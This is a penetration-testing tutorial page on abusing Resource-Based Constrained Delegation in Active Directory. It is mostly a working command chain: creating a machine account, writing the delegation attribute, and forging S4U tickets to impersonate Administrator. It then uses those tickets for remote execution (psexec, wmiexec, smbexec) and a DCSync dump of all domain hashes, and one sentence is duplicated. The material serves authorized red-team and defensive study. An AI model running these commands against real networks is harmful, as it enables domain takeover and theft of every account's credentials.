Skip to content
HackIndex.io

RBCD – Resource-Based Constrained Delegation Abuse

4 min read Created Jul 1, 2026 Last updated Aug 11, 2026

Resource-Based Constrained Delegation inverts the delegation model, instead of configuring which accounts can delegate to a resource, the resource itself specifies which accounts can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If you have write access to that attribute on a target computer object, you can grant your own controlled account delegation rights to the target and then impersonate any user, including domain admins, against its services.

RBCD requirements:

  • A controlled account with an SPN (create a machine account if MAQ > 0)
  • Write access to the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
  • S4U2Self and S4U2Proxy to obtain a service ticket as a privileged user

Write access to the target computer object is commonly found via GenericAll, GenericWrite, or WriteDACL ACEs on computer objects, which BloodHound maps clearly. Write access is commonly found via GenericAll, GenericWrite, or WriteDACL ACEs on computer objects, which BloodHound maps clearly.

For using the resulting ticket for lateral movement, see https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket.

Step 1: Create a Controlled Machine Account

If you do not already control an account with an SPN, create a computer account. By default, domain users can create up to 10 machine accounts (ms-DS-MachineAccountQuota):

┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -computer-pass 'Attacker123!' -dc-ip $TARGET_IP

Note the computer name and password, you need the hash in step 3.

If MachineAccountQuota is 0, you need to use an existing computer account you already control (one where you have local admin and can extract the machine hash).

Step 2: Write the Delegation Attribute

Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer to allow your controlled machine account to delegate to it. Use impacket-rbcd or PowerView from a Windows host.

From Linux with Impacket:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action write -dc-ip $TARGET_IP

Verify the write succeeded:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-to '$TARGET_HOSTNAME$' -action read -dc-ip $TARGET_IP

Step 3: Get the Hash of Your Controlled Machine Account

You need the NT hash of ATTACKPC$ to request the S4U tickets. Get it with Impacket using the password you set:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/ATTACKPC\$:Attacker123!@$TARGET_IP -just-dc-ntlm

Or calculate it directly from the password:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4', 'Attacker123!'.encode('utf-16le')).digest()).decode())"

Step 4: Request a Service Ticket via S4U

Use impacket-getST to run S4U2Self and S4U2Proxy, impersonating a domain admin against the target:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP

With the NT hash directly:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$ -hashes :$MACHINE_HASH -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP

This saves Administrator.ccache.

Step 5: Use the Ticket

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass

Targeting a Domain Controller

If your write target is a DC and you can impersonate a domain admin against its LDAP service, you can perform DCSync directly:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn ldap/$DC_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME.$DOMAIN -k -no-pass -just-dc

This dumps all domain hashes without needing to land a shell on the DC.

From Windows with Rubeus

Request the S4U ticket chain and inject it:

PS C:\Users\Guest\Desktop> Rubeus.exe s4u /user:ATTACKPC$ /rc4:$MACHINE_HASH /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt

Cleanup

Remove the delegation attribute after the engagement:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action flush -dc-ip $TARGET_IP

Delete the machine account you created:

┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -delete -dc-ip $TARGET_IP

References